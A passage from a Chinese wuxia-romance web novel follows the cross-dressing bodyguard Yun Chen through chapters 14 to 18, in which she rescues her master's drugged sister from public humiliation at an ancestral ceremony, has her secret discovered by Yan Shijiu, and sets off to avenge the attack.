“说说你那恩主什么样,我帮你找。”他说。
意外地,她没有说话,而是紧闭嘴巴,神情犹豫地看着他。
他瞬间明白她在想些什么,不由哑然失笑:
“你是怕说的太清楚,一下被我找到你的恩主,万一他是霍帮的仇敌,那就糟了,是吗?”
在成为楠国首富的路上,霍帮杀伐扩张,行事狠厉,那仇敌比河里的石头还多。
她担心最后寻到的恩主是霍帮的仇家,这很正常。
看着她有些不好意思的表情,他不再追问,随意道:
“如果找到你的恩主,你要做什么?”
她用通透的眼睛,一眨不眨地望着他,轻声回答:
“生死相随,以命相护。不论天涯海角,我都护着他去。”
轻飘飘两句话,余音却敲动着沉重的山壁。
霍乾念先是一怔,而后心里阵阵发酸,没由来生出些妒意。
他目光微沉,“也许你的恩主已经死了,也许你一辈子都找不到他,你想过吗?”
她像是早已千百次地想过这个问题,从容回答:
“若他死了,我就给他守墓;若一辈子找不到,就找一辈子。就这样。”
总之这辈子绝不会心有二主,总之这辈子早已把性命交了出去。
这样一个护卫,即使武功再高超,人品再优越,也注定成为不了任何一个人的贴身亲卫。
没有主子敢用一个心里有其他主子的亲卫,而且在护卫这行里,也最忌讳、最瞧不起心有他主。
因为这样的人最不牢靠,你永远不知道哪一天她会找到自己的恩主,为了报恩,将剑反过来冲向你。
他感到手中的石杯慢慢冷却,生出阵阵凉意。
很久之后,他才重新开口:
“我会帮你找救过你娘的恩主,但这些话莫再对其他人说了。”
她听罢,开心地笑起来,“多谢少主!”
他垂下眼眸不去看她,一口一口喝下已凉透的茶,不再说话。
第一卷 第14章 又迷糊一个
三个时辰后。
当叶峮带着花绝和一众霍帮护卫找到水岛的时候,所有人都愣住了。
叶峮以为,他会看见二人曝尸荒野,尸体被水泡成两个大球。
花绝以为,他会看见霍乾念奄奄一息,身旁是用尽最后一口气守护着他的云琛的尸体。
众人亲眼看见霍乾念掉进水里,好几个蛙人围攻他和云琛,又亲眼看着二人猛地被什么东西拖进水底。
在找来的路上,所有人都在心里演绎了一百种二人的惨状。
唯独没想到眼前会是这样的情景:
篝火温暖的山洞旁,霍乾念面容冷淡地坐在一棵大树下。
他衣服有些褶皱,但干干净净,全身没有一滴血,一处伤,甚至手里还端着一个石杯,慢悠悠地喝着茶。
另一边,浑身脏乱的如野人的云琛,正拿着快要卷成麻花的短刀,“嘿呦嘿呦”地砍着树杈,震得大树微微颤动,树叶纷纷飘落在霍乾念的身上。
那情景分外浪漫——又诡异。
“少主,你稍等,我给你做双拐。”云琛说。
所有人都被这一幕惊讶到无法说话。
孤身一人带着双腿残疾的少主去搏杀,最终竟两个人都活了下来。
不必多说一个字,只需看着两人外形的强烈对比,所有人都能深深感受到那凶险艰难。
不服都不行。
花绝甚至有点想掉眼泪。
众人赶紧七手八脚地将霍乾念抬上轮椅。
而后,叶峮走到还在琢磨怎么做拐杖的云琛身边,对上那双瞳孔微微放大的眼睛,那目光警惕却早已毫无血色的面容,以及下意识做出的防御战斗姿势。
他扶住云琛的肩膀,轻声道:
“阿琛,我们来了,少主安全了。”
云琛像是反应了一会,才真正理解那话里的意思,缓缓放下刀。
“啪”的一声,她仿佛听见弦断的声音。
紧接着,她就感觉天旋地转,一股强烈的剧痛酸胀从身体各个角落涌上来,嗓子眼也开始发甜。
她两眼一黑,整个人不受控制地栽进叶峮怀里。
因为受伤太重,云琛直接昏迷了大半日。
为了好好养伤,她被安排在只有亲卫能住的单人间休息。
霍乾念甚至亲口下令,说云琛此次功劳甚重,那带猫刺客不必抓了。
所有人都猜测,她考察期肯定没跑,说不定还要被提拔为霍乾念的第四位贴身亲卫了。
叶峮开始琢磨着办个庆功酒,花绝亲自去武备房翻了套崭新的亲卫服制,甚至还偷偷将服制上靛蓝的金线腰带熨了一下。
云琛则没有功夫管别人都在想什么,她全部心思都用在“对付”霍阾玉上面。
云琛受伤以后,屋子里摞了两堆金创药。
一堆是霍乾念叫武备房给的,另一堆是霍阾玉身边的侍女小月儿送来的。
不仅如此,听说云琛不让府医给她上药,坚持所有伤口都自己处理,霍阾玉便日日让小月儿来为云琛换药梳洗。
云琛生怕暴露女儿身,只得裹紧领口,不让小月儿碰。
小侍女急的去扯云琛的衣服:
“云护卫,府上礼教森严,所以小姐不能亲自来看望你,叫我一定要照顾好你,你就从了我吧!”
云琛红着脸,死命闪躲:
“男女授受不亲!小月儿你别扯我衣服!”
小月儿也红着脸,死命去扯:
“我也不想啊!可是小姐担心你,连饭都吃不下!我能怎么办?”
每日都要这样大战几个回合,非得累得小月儿精疲力尽,坐在地上直喘气才罢休。
最后实在没办法,云琛只好随便撸起一只袖子,将伤痕累累的胳膊伸到小月儿面前:
“服你了,你给我胳膊上药吧,这样你就可以交差了。”
云琛动作幅度有点大,小月儿只觉得眼前一晃,一条如枯木狰狞的东西就猛地展现在眼前。
云琛胳膊上只有两道深刀伤,四五道浅伤,本来不碍事。
但那被水蟒缠绕的大片青紫淤痕,却让整条胳膊都看起来很吓人。
小小闺阁女儿怎见过这些,见小月儿吓得脸色发白,云琛只能自己拿过金创药,往胳膊上糊了一层。
“好啦,就算是你帮我上的药,你可以安心交差了。另外,我是卑贱之躯,不值得二小姐费心,这话你一定帮我带给二小姐,多谢。”
云琛又不是傻子,霍阾玉这番示好,大概是对她有点动心。
可她是女扮男装,怎能白白负人,还是眼下趁少女情意刚萌芽时,赶紧划清界限为妙。
小月儿白着脸,点点头,然后热泪盈眶地离开了。
一连好几日,小月儿都再没有出现。
云琛原以为事情终于到此结束,谁知霍家的宗庙祭祖近在眼前,阖府上下都要出动。
云琛伤已好了七八分,也被安排前去随行护卫。
霍帮是大家族,祭祖是件非常严肃重大的事情,年年小祭,三年大祭。
每到大祭这天,所有护卫们都会统一换上更为考究体面的亲卫服制,浩浩荡荡地护卫着霍乾念去往霍家祠堂。
霍家祠堂修建在烟城郊外,一路过去要两个多时辰。
云琛被安排在霍乾念的轿子旁,和叶峮花绝一起随护。
透过轿帘,霍乾念定定地瞧着云琛身上笔挺的亲卫服制,只觉得颇为刺眼,便对叶峮道:
“叫云琛去后面随护。”
“少主,我们后面是二小姐,叫云琛去二小姐旁随护吗?”叶峮问。
霍乾念有点心烦,随意“恩”了一声。
于是,当云琛一边腹诽,一边走向霍阾玉的轿子时,老远就看见小月儿激动得狂戳霍阾玉的轿帘。
心中悲叹着,面上恭敬着,云琛走到轿子旁行礼,“云琛见过二小姐,少主命我为小姐随护。”
隔着轿帘,云琛听见霍阾玉故意“哼”了一声,道:
“你这卑贱之躯,配来为本小姐随护吗?”
云琛大喜,刚想说“谢谢您那我这就走”,却听霍阾玉又道:
“不过本小姐大度,不嫌弃,你待着吧!”
“唉……”云琛没忍住,叹了口气。
霍阾玉立刻掀开轿帘,紧张地问:“怎么了?伤没好是不是?还痛着呢?”
小月儿见状大惊,见左右已有人看过来,她赶忙把轿帘扯平,小声道:
“小姐,您有吩咐让云护卫办,启开小窗上的帘子就行。”
小月儿觉得自家主子是真关心则乱,竟然在这么多双眼睛前,把男女大防都抛在脑后了。
霍阾玉这才意识到自己刚才的举动多不合礼,臊得满脸通红,也不敢去掀小窗帘。
云琛的声音从轿子外传进来:
“二小姐,您不该为我这卑贱之人忧心,您应当吃好喝好,做您高高在上的二小姐”。
云琛心想,就从身份地位开始掰扯,断了二小姐的心思。
霍阾玉心想,他真好,他在担心我没有好好吃饭。
云琛说:“二小姐人美心善,自有良缘相配的。”
霍阾玉心想,真好,他夸我美呢!
云琛自顾说了一大堆已经快赶上“直言拒绝”的话,却不知轿子里面,霍阾玉已经说服完自己,羞得脸颊绯红。
她掀开小窗帘,一双美目全然不见平日里的飞扬傲慢,只有专属于少女的娇俏和倾慕。
霍阾玉害羞道:“云琛,我知道,在霍府所有护卫里,你是与其他人都不同的,你和他们不一样。”
我当然和他们不一样!其他人都是男的,只有我是女的!云琛心里接话。
不敢与霍阾玉对视,云琛目不斜视看向前方。
从霍阾玉的角度看去,只见云琛容貌清俊,身量高挑。
她身穿崭新黑色亲卫服制,霍帮的“醒狮”图腾团绣在肩,一条靛蓝的金丝腰带更衬得“少年”肤白如月,气定神闲。
换谁能不迷糊呢?霍阾玉心里想。
第一卷 第15章 早生贵子
“少主,二小姐送了两支百年老参给您。”叶峮说。
“什么玩意儿?”
“百年老参——二小姐说,送给您补身子,祝您身体健康,长命百岁。”
“大清早抽什么疯。”
对于霍阾玉莫名其妙的突然送礼,霍乾念没空多过问,作为霍帮家主,他要忙的事情实在太多。
霍家的宗庙祭祖分为两部分进行,头三日以家主为首,带领霍家宗族子弟告慰祖先。后三日由往来宾客前来祭奠。
可以说,霍家每三年一次的祭祖,是整个烟城乃至楠国的一件大事。
朋友们从四面八方而来。
仇人们也从五湖四海赶来。
好在楠国礼教森严,就算是天大的仇,也不会在谁家祠堂祖庙里见血杀人。
因祠堂不许女子进入,所以第一日的上香日,霍阾玉等女眷都留在偏院里,云琛为霍阾玉随护同留。
到了第二日拜山祈福,所有人才齐聚祠堂外的正院。
云琛是第一次参加权贵人家的祭祖。
都说从一户人家的祠堂和祭祖,便能看出这家族的兴旺程度。
云琛知道霍帮巨富,却没想到一个祠堂宗庙能盖的堪比皇亲国戚权贵。
恢弘高大的墙门内,雕刻繁复的白玉石门楼静静伫立。
醒狮照壁栩栩如生,气势威武,那浮雕的狮爪比人头都大。
祠堂成三进中轴对称而建,依次是待客前厅、祭祖三正殿、神龛后殿、碑亭和后花园等。
整座祠堂恢宏肃穆,屋宇连绵,完全是按照亲王规制而建的。
云琛随霍阾玉站在靠后的位置,每当霍家族人跪拜时,她这做护卫的才能看清远处的霍乾念。
隔着黑压压的数不清的人头,云琛望见霍乾念穿一身满绣狮纹金罗玄袍,气宇冷阔地坐在香坛上。
黑色的神龛端庄肃穆,巨大的燃香比手臂还粗。
烟雾缭绕中,他如天神俊美、却如孤星冷郁的容颜若隐若现。
那一刻,云琛突然觉得,这天这地,这庙宇这人群,好像根本不是来祭拜先祖的,而且来朝奉他霍乾念的。
只有此时此刻,不是独对着他一人,而是从芸芸众生中去看他,她才发现他是那般不可一世。
有那么一瞬间,云琛觉得他好像一个高高在上的王。
她想,如果与他的第一次碰面不是在竹林深院,不是以一种最亲密的护卫搏杀的契机相识,而是和大多数人一样,以仰望霍帮当家少主的姿态去认识他。
她觉得自己大约不会像现在这样轻松自在。
不,她大约一生都没有机会走近他。
她那一面之缘的恩主,竟然也是推着她靠近他的波澜。
也许人的一生就是如此奇妙,时也运也,缘聚缘散。
似乎感应到她的注目,香坛上的他在上香许愿之后,忽然抬眸朝她望来。
在这满院数不清的人影中,他精准地找到她,凤眸幽深如湖水,直直看了她一眼。
她心脏莫名收紧,不知为何,在这等庄严神圣的场合,她竟突然想起水下那个吻。
一个不带任何情欲的,只是为了渡气的吻。
她记得他想要呼吸的急切,那勾住她后颈的手霸道而迫切,吻上来的时候也带着十足的强势。
她突然觉得心跳的很快,赶忙摇摇头,想要驱赶走这莫名的思绪。
拜山祈福结束后,众人进入酒席,为后面的酒祭做准备。
霍家宗族老老少少,有名有姓的,全都依座次坐在席中,乌泱泱坐了百桌。
正桌主位上坐着霍家老太爷,眯着眼睛在椅子上打瞌睡。
霍乾念是霍老太爷五十多岁才生下的混账子,霍乾念做当家少主的时候,霍老太爷已经快七十岁了。
如今霍老太爷已经老的满脸褶子,眉毛胡子和头发全都白了,人也时而清醒,时而糊涂,有时甚至连霍乾念都不认得。
听着周围嗡嗡的说话声,霍老太爷感觉无聊又瞌睡,正要睡着时,却用余光瞥见一道高挑的身影走了过来。
酒席人多事多,云琛又被暂调回霍乾念身边护卫,她忙完些外派事务,立刻赶回来朝霍乾念复命。
霍老太爷只看见一位面带阴柔气的“少年”走到霍乾念面前,一手持着隐月剑,一手扶膝单跪,干净的脸庞微微扬起,用一双清澈得只染阳光的大眼睛看着霍乾念。
而霍乾念似乎也累了,身子有些倦懒地斜靠在椅子里。
他垂眸颔首,面上带着一丝罕见的柔软,整个人的姿态都是不设防的。
霎时间,伺候老太爷的仆人只觉得霍老太爷猛地一抖,后背向前一挺,那双老的眼皮子都快拖地的眼睛突然睁大,射出两道精光。
因为霍老太爷动作幅度有点大,一旁的仆人吓道:
“老太爷,您是磕到了吗?可是身子哪里磕痛了?”
霍老太爷不耐烦地摆摆手,动作幅度哪有一点老人样,他指着云琛叫道:
“孩子!过来让我瞧瞧,快过来!”
云琛愣了一下,下意识看向霍乾念,在后者点头示意后,走到霍老太爷跟前。
云琛刚要跪下行礼,霍老太爷却一把抓住她胳膊,笑道:
“不错,不错,看着能生养,乾念眼光极好。”
周围人愣了一瞬,随即偷笑起来。
“老太爷是真糊涂了,连男女都不分了。”
“这少年是看着有几分阴柔气,长得也不错。”
云琛这是第一次见霍老太爷,只觉得这白头发的老爷子看着十分亲切和蔼,一双手还挺有劲儿,正隔着衣服抓在她伤口上,疼的她有点冒汗。
瞧出云琛神情不对,霍乾念蹙眉不悦。
“爹,等云琛生了,抱来给你看,这会云琛要去办差了。”
“好好好!”霍老太爷一连说了三个好,笑眯眯地把这云琛打量了好几遍,怎么看怎么喜欢。
云琛红着脸行礼告退,霍老太爷长叹一口气,身体慢慢松懈,靠回椅子,眼皮子重新耷拉下来,又恢复了老态龙钟的样子。
一旁的霍乾念斜来一眼,道:“别急,我一定催云琛早生贵子,抱来给你看。”
“呵!”霍老太爷回以一个更大的斜眼加白眼,慢悠悠道:
“催?早?不知道我进棺材前,还能不能瞧见我的嫡孙儿!看这架势,还得等好几年!”
霍乾念皱眉头,不知道老太爷在胡说八道些什么。现在连他也觉得老太爷是真糊涂得厉害了。
第一卷 第16章 捉奸
一年到头寂静的祠堂,每三年都要热闹一回。
前来拜祭的宾客乌泱泱的,云琛走到哪里都能听见人们悄悄议论:
“主持祭祖拜山?真不知他霍乾念怎么跟祖宗交代,说不说得清他杀了霍家多少宗族子弟。”
“霍帮已经吞掉韩家。但玉家还在后头咬得紧,大有重夺首富之位的架势,有意思。”
“玉家可不是好惹的,背靠的都是皇亲国戚,霍帮想坐稳头把交椅可难喽!”
云琛不是很懂这些权与势,但光听他们说霍乾念坏话,她就觉得来气。
她暗自跟着说话的几人走到前厅,刚想趁机往人杯子里吐口水,余光却注意到一个满场跑来跑去的身影,是霍阾玉身边的侍女小月儿。
她提着食盒,一脸掩饰不住的焦急,脚步匆匆穿梭在各个厅堂院子之间,像在寻找什么。
云琛登时后脖子有点发紧。
自从发觉霍阾玉的心意之后,这两日,云琛总是刻意回避,找各种理由不在霍阾玉院子里待。
云琛猜测小月儿是来抓她的。
她立马缩起脖子,将身子躬成虾米,悄悄往外溜。
结果刚走到厅门,就被小月儿抓个正着。
“云琛!你去哪里了?我找了你好久!”
云琛讨好地笑,“我帮忙待客呢,二小姐又有什么吩咐,我明天过去啊……”
“别贫了!”小月儿气恼地拍打云琛,压低声音急道:“二小姐失踪了!你快帮我找找!”
“失踪?”云琛收起笑容,“你确定二小姐不是偷溜出去听说书了?”
和其他豪门贵女不同,霍阾玉既不爱话本里的穷书生,也不喜欢琴棋书画,她就爱三天两头跑出去听说书。
抱着一盒雪花酥,一壶果子酿,她能在说书馆窝一天,听什么女将军单挑八万敌军的传奇故事,迷得饭都顾不上吃。
“绝对不是!”小月儿欲言却又止,吞吞吐吐道:“我陪二小姐去后花园抓蝴蝶,捕网的杆子断了,我就去找个新的,结果……”
小月儿表情纠结,犹豫该不该继续说,抬眼看见云琛微微俯身,正认真侧耳倾听的样子。
望着那双清亮的眼睛,小月儿咬咬牙,心一横,小声道:
“结果等我拿着新捕网回来时,二小姐已经不见了,只剩衣服丢在地上。”
小月儿说着揭开手里食盒的盖子,声音带了哭腔:
“二小姐的外衫,裙子,还有……肚兜,全都扔在地上……我只能先找食盒装起来……”
云琛愕然。
难怪小月儿确定霍阾玉是失踪。别说肚兜,霍阾玉这等世家小姐,连当众脱外衫都算失礼。
霍阾玉摆明是被人掳走的。
祭祖这些日子,往来宾客中有不少碍于场面来应酬的霍帮仇人。
若有人存心报复,对护卫森严的霍乾念下不了手,那么很可能在霍阾玉身上使阴招。
而能对一个女子用的最狠的招数,莫过于摧毁她的清白。
云琛意识到事情的严重性,快速翻看食盒里的衣物,却闻到一股很浓的松油味。
“小月儿,二小姐平时用松油吗?或者这盒子装过松油?”
小月儿摇头,“那东西难闻,二小姐才不喜欢。这盒子是我刚去小厨房新拿的。”
云琛点点头,心中明了几分。
剥去霍阾玉衣服是为羞辱,意图凭此让霍帮出丑。
后又将人掳走,说明对方改主意了,想换个人更多的地方展示自己的“杰作”。
且必须是没有霍帮护卫驻守的地方。
再结合霍阾玉衣服上沾染的对方的松油味道,那是油彩最常见的原料。
云琛大概猜到霍阾玉在哪里。
“小月儿,快申时了吧?中庭该开祭祖戏了。”
不知道云琛为什么东拉西扯,尽说些无关紧要的,小月儿急得直跺脚:
“还管什么时辰唱戏!快找二小姐吧!若叫旁人看见二小姐没穿......二小姐还怎么活呀!”
后面的话,小月儿说不下去,但眼圈已经红了。
同为女子,云琛全都明白。
“你在这等我。”嘱咐好小月儿,云琛立即拔腿飞身,以最快的轻功朝中庭而去。
一进中庭,她头皮“嗡”地就炸了。
只见庭中已摆满桌椅,除了正中央两个最尊贵的位置还空着,其他地方全坐满了宾客。
庭中尽头,一个宽大的戏台静静伫立,白色的幕布垂坠遮掩,叫人看不见帘后的戏台上有什么。
戏班的角儿们已在台侧候场,两个伙计各站戏台一边,抓着幕布,只等申时一到就扯落,唱一出祭祖的《二十四孝》。
这便是整个祠堂地界人最多的地方,也是唯一不需要霍帮护卫们驻守的地方。
隔着密密麻麻的人群,云琛望向那暂时闭合着的、随时被风一吹就会掀开的幕布。
她心里油煎似的急,面上仍不动声色,稳步向戏台后方走去。
眼看就要走到戏台,这时,一群陌生护卫簇拥着一位穿金袍的老头子走过来,一行人目中无人,架子极大,将路堵得严严实实。
云琛着急却绕不开,反被迫退得更远。
她心里着急,想绕远路从另一边去戏台,可好巧不巧,霍帮护卫们也围护着霍乾念来了。
这下子,左右两边路全被堵死,急得云琛额头开始冒汗。
隔着满庭人,霍乾念一眼就看见云琛。
尽管她极力装作神态淡定,但霍乾念还是直觉看出她有事。
扫了眼她前方堵路的一大群人,霍乾念轻笑一声,开口道:
“玉家护卫们好体面,不愧是玉老爷亲自调教出来的。”
从霍乾念进场开始,所有宾客就都慢慢安静下来。
此刻他并不高声的一句话,却清晰地传进所有人的耳朵,齐刷刷向玉家护卫们望去,众人立刻散开些许,云琛得空穿过。
那穿金袍的老头子显然就是玉家家主:
玉阳基。
他皱着菊花一样灿烂的脸,怪笑道:
“一会儿还有更体面的呢,霍少主且拭目以待。”
完全不关心霍乾念和玉阳基,这楠国常年争霸首富之位的两大财阀在寒暄些什么,云琛悄悄绕到戏台后方,闪身进幕布,跳上戏台。
果然,霍阾玉正一丝不挂地躺在台中央。
雪白的玉体就这样光天化日陈列着,不仅没穿衣服,甚至还不停地搔首弄姿,口中发出些不可描述的呻吟声。
云琛为这一幕惊呆了,她快步上前查看,轻唤:“二小姐!”
霍阾玉全无反应,反而直接扑向云琛,两条胳膊水蛇般攀上她的脖子,饱满的红唇直直贴了上来。
好在云琛躲闪得快,霍阾玉的红唇擦着她脸颊而过,留下一抹嫣红的石榴色。
“我……我……好难受……”
霍阾玉很显然是被下了药,神志不清,连话都说不完整,只知道一个劲儿往云琛怀里拱。
云琛赶紧捂住霍阾玉的嘴,紧张地看向幕布。
薄薄一块布而已,声音稍微大点就会被听见,且随时都有被扯落的风险。
“二小姐,醒醒!快和我走!”云琛用力掐霍阾玉的人中,疼痛感令她稍稍清醒了些,瞳孔麻木地转动,在看到云琛的时候,瞬间眼睛一红,绝望地哀求:
“云琛……救救我……”
说完这句,霍阾玉的意识再次混沌,她用力去抓自己的胸口,大腿......世家小姐的礼节和矜持,已根本无法控制住她的身体。
耳听帘外渐渐安静,申时已到,戏将开场,幕布开始向两边拉扯,云琛心中的惊恐达到了巅峰。
眼见一切就要暴露,云琛慌忙脱下自己的护卫服,连衣带人扑盖在霍阾玉身上。
说去吧。
凭那千百张嘴怎么说。
说霍乾念唯一的胞妹,霍家高贵的二小姐,在祖宗祠堂地界如何苟且也好。
说主仆二人偷情,被当众捉奸也罢。
此刻都顾不得了,云琛只知道用尽全力将护卫服拉扯到极限,盖住霍阾玉的身体。
她闭上眼睛,准备迎接幕布坠落。
这时候,霍乾念的声音突然从帘外传来。
“慢着。”他说,“拿戏单来,换出戏看看。”
幕布重新牢牢闭合,云琛看不见外面什么情形,只能听见霍乾念翻动戏单的声音。
他不紧不慢地翻着。
云琛立即用外衫将霍阾玉整个人包住,再用腰带系牢,然后抱着不停扭动的霍阾玉,就地打滚,跌下戏台。
与此同时,一声惊锣响起,幕布重重落地,好戏彻底开场。
戏台上除了一滩奇怪的深色痕迹,再无任何异样。
另一边,云琛扛着霍阾玉,已朝离人群最远的地方全力奔去,一头扎进最深最僻静的乱石花园。
却不料脚力太快,转过假山时,一时没收住,直接迎面撞上一人。
第一卷 第17章 女扮男装的把柄
没人想到一向示弱的韩家,会暗藏着置霍乾念于死地的阴谋。
只可惜搬起石头砸自己的脚,韩家杀霍乾念不成,反被吞并得干干净净。
作为韩家第二大东家,颜十九表示出对霍帮十足的归附,因此特意来参加霍家宗庙祭祖。
祭祀冗长沉闷,祭祖戏必然也没趣,颜十九无聊得很,四处闲逛,不知不觉走到了乱石花园。
他正悠哉地晃着扇子,刚转过假山,就感觉眼前一黑,整个人像被牛顶了似的飞出去,重重跌坐在地上。
颜十九揉着疼痛不已的胸口,刚想问候对方祖宗,却见云琛僵站在对面。
她黑色的护卫服制不见了,只穿着一身凌乱不堪的中衣,裤子上还有一大坨深色的不明痕迹。
最吸引颜十九注意的,是云琛白皙的脸颊上那一抹流线形的嫣红,为她本就俊俏的面容添了两分妖冶,颇有惊艳感。
看着云琛肩上裹着护卫服、不安扭动的“人形春卷”,颜十九惊讶:
“云兄,你这是要采花?”
云琛顿时黑脸。
再探头看看“春卷”凌乱墨发下的脸,颜十九瞪大眼睛:
“你要采霍二小姐?在这?当着人家几百个祖宗的面?”
云琛的脸更黑了。
感觉到云琛戒备甚至带着杀人灭口之意的气势,再看护卫服下像是什么都没穿的霍阾玉,颜十九瞬间明白所有。
快速在脑子里过了一遍各种对策,他招呼云琛:
“走,去我房里!”
见云琛犹豫,他又道:
“这里离女眷偏院太远,一路过去多有宾客和家仆,霍二小姐这个样子太引人注目,还是先去我房里收拾妥当为妙!”
说话间,已有人声向此处靠近。
云琛心焦似火,没有其他选择,只能跟着颜十九直奔客房。
颜十九的房间在很偏僻的角落,他在外间等待,云琛在内间卧房里照顾霍阾玉。
她将霍阾玉的身子擦拭干净,换上一套颜十九的衣服。
霍阾玉身量娇小,颜十九人高马大的,衣服十分不合身。
云琛便将颜十九的外衫撕碎,扯成布条,扎在霍阾玉的手腕脚踝处,好叫衣服能仔细裹住身体。
但霍阾玉的药效还没过,一边难受呻吟,一边很快就又将衣服折腾脱落。
“角柜里有一个红棕瓷瓶,里面是卢妃凝露,能解许多寻常草药毒物,不知是否有用,你试一试。”
颜十九的声音从外间传来,听起来有些不自然。
云琛赶紧取药,喂霍阾玉吃下。
很快,霍阾玉渐渐安静下来,身体仍时不时抽搐一下,但已比之前好多了。
云琛重新帮霍阾玉收拾妥当,将颜十九的被子翻面盖在霍阾玉身上,一直看着霍阾玉呼吸均匀地沉睡,才穿好护卫服,起身走出卧房。
外间仍旧只有颜十九一人。
他一身白衣,反向跨坐在椅子里,随性趴在椅背上,手中折扇轻轻敲打着下巴。
云琛第一次正眼看他。
不得不说,颜十九长得挺好,比一般男子身形更高大些,甚至称得上虎背蜂腰。
与他身形极不协调的是,他长了一张极其阳光的孩子脸,眼睛笑起来像新月一样弯起。
但云琛很不喜欢他,总觉得他太假,哪有人脸上一直带着笑容的。
而且瞧颜十九的做派,说好听点是风流不羁,说难听点就是放浪形骸,没个正经样子。
似乎看出云琛眼中的嫌弃,颜十九笑道:
“我帮了你,你不谢我,还心里编排我,是不?”
云琛不说话。
颜十九又问:“你准备怎么谢我?”
谢?不杀你灭口都算我这护卫失职!云琛心说。
而颜十九就像云琛肚里的虫一样,瞬间洞悉云琛的想法,投降似的举起手,笑道:
“云兄,我知道你特别有责任感,但从头到尾,我就只见到你家霍二小姐几根头发而已,你用衣服把她护得严严实实,我真的什么都没看见,你就别想着灭我口了。”
颜十九嘴上说的示弱,表情却欢乐得很,一点也不像害怕的样子。
云琛觉得,霍阾玉这事不小,还是等霍乾念亲自定夺比较好,到时候霍乾念要是说杀颜十九,她再动手也不迟。
云琛心里想得多,未曾注意颜十九在她身上打量了好几个来回,最后目光落在她裆部,冷不丁来了一句:
“你是女的吧?”
云琛被问得猝不及防,脸上一愣,身子微僵,眼神下意识闪躲,这反应正好出卖了她自己。
这下换颜十九愣了。
他夸张地倒吸一口凉气,赶忙打开扇子狂扇风,“你……你……”
“你”了半天,嘴皮子一向最利索的颜十九,硬是没“你”出个所以然。
云琛皱眉,“你怎么看出来的?”
颜十九拿扇子指指卧房的门,又指指云琛胯下,说:
“我只是觉得,霍二小姐那般尤物,你与其独处多时,却没有一个正常男人该有的反应,这反应和人品无关,就是男子本能,你懂吗?”
云琛的脸“腾”地红起来,颜十九赶紧闭嘴。
对着云琛利落的男子装扮,颜十九乍然还不太适应她其实是女子的事。
所以说,刚才那句“你是女的吧”,不过一句玩笑揶揄而已,却不想正中云琛最大的秘密。
那边,颜十九扇子摇的快要起火;
这边,云琛十分纠结该不该给颜十九脖子上来一刀,划破他的喉咙,将他弄成哑巴。
再次看透云琛心思,颜十九饶有兴趣:
“方才为保你家二小姐名节,你立马想到要杀我灭口,如今自己的秘密被窥破,你却没有半分杀意。云琛,你真的很有意思。”
像是彻底接受了云琛女扮男装这个难以置信的事实,颜十九露出一脸“我吃定你”的欠扁笑容。
看着那笑容,云琛觉得十分刺眼,黑脸道:
“开个条件吧,你要怎样才会保守我的秘密?”
颜十九弯起眼睛,“我原本想拿今日帮了霍二小姐的事,来日去霍乾念面前卖个人情。但现在我不这么想了,我觉得还是卖你个人情更有趣。”
“你想要什么样的人情?”
颜十九笑说:“他日若我遇麻烦缠身,若我开口,望云护卫能帮我一手就行。”
云琛考虑了一下,点头答应,“可以。但前提你不能是少主的敌人。”
颜十九故意面上露出遗憾的神色,“那可不一定了……”
见云琛神色紧张起来,颜十九忍不住哈哈大笑,而后“啪”地合起扇子,跳下椅子,起身掸衣,行了个标准的拱手礼,神色认真道:
“在下颜卿,家中排行第十九,因不得父亲喜爱,便只身出来闯荡江湖。颜卿有幸,能认识云姑娘。姑娘叫我颜十九就行。”
云琛好多年没被人叫过“姑娘”了,一时间连怎么回礼都忘了。
颜十九看着她那手足无措,胳膊腿都不知道怎么摆的样子,觉得傻傻又可爱。
云琛却只觉得这厮一惊一乍,一会没个正形,一会又看起来完全是个彬彬有礼贵公子的样子,跟有什么人格分裂似的。
但眼下有求于人,她只得忍下情绪,请颜十九好人做到底,再帮点小忙。
依云琛嘱咐,颜十九找来小月儿照顾霍阾玉,又找来一条大黑狗。
看小月儿一来,云琛就要走,颜十九笑得十分开心:
“云兄这就要走?我是不是可以理解为,云兄心里认可我是君子,所以才敢将两位姑娘托付给我?”
见颜十九这厮是个没皮没脸的,热衷于给自己脸上贴金,而她女扮男装的把柄又被拿捏着,云琛只能强挤出一个尬笑:
“是是是!那就麻烦颜公子了!”
第一卷 第18章 有仇,现在就要报
君子报仇十年不晚。
云琛不是君子,有仇,她现在就要报。
既然霍阾玉衣服上能沾染对方的松油味,那对方身上也一定有霍阾玉的脂粉香。
云琛让大黑狗闻了闻霍阾玉的衣服。
除了脂粉味,大黑狗显然还闻到了媚药,明显有点上头,流着哈喇子开始寻找这个味道,开始在前厅后院到处游走,东闻闻西嗅嗅。
云琛不紧不慢地跟在它后面。
花绝从一旁经过的时候,正看见云琛在祠堂院子里“遛狗”。
上次青禹洲宴饮,花绝还鄙夷云琛神经病,出门护卫还带鱼食,事后证明她怪异的举动一定事出有因。
花绝思索一瞬,赶紧悄悄找到叶峮,二人一合计,决定去中庭向正看戏的霍乾念禀告此事。
那边,云琛跟着大黑狗转了好几个圈,最终也来到中庭外。
戏台上,戏班子咿咿呀呀唱得热烈,宾客满座,无人喧哗。
这等正式场合,云琛得守规矩,不能随意进入,在庭外止住脚步。
但大黑狗可没规矩,闻着那淡淡的媚药味道,蹭地窜进宾客席,围着一个皮黄细眼的男人不停转圈,尾巴摇得极其欢快。
男人被突然窜进来的大黑狗吓了一跳,正奇怪这祠堂清静地界怎么会有狗,一抬头,正对上不远处云琛充满锋利杀意的目光。
再联想到方才幕布落下,戏台上竟全无霍阾玉身影,他精心安排的一出大戏意外落空,白白涂了油彩假扮戏子,深入后院掳走落单的霍阾玉,男人瞬间明白怎么回事。
但他丝毫不慌张,甚至还用轻蔑的目光撇了云琛一眼,然后俯身靠近那穿得金光灿灿的老头子玉阳基耳边,嘀咕了几句。
玉阳基瞧了眼正听护卫禀告事务、注意力并不在此的霍乾念,挥挥手,示意那皮黄细眼的男人退开。
云琛随即与玉阳基对视上。
后者明显瞪大了眼睛,眼中划过惊艳之色,用挑选牲畜似的目光上下打量她,而后咧开嘴,露出一个意味不明的怪笑。
云琛被看得十分难受,瞧那玉阳基明明头发花白,面容老态,可皮肤却看着紧绷绷的,甚至比女子还细腻光滑,更觉十分诡异。
“周厉,你去与他过两招。”玉阳基吩咐。
周厉眯了眯他那细眼,从靴子里摸出一把双钩短戟,嚣张地朝云琛扬扬下巴,示意云琛“后院见”。
周厉在前,云琛在后,二人避开主路,一前一后进入后院。
云琛反手锁死院门。
周厉皮笑肉不笑,准备按正常江湖规矩,先自报家门,问个姓名。
谁知刚开口说了个“我”字,云琛就拔剑冲了过来,一剑刺向他命脉。
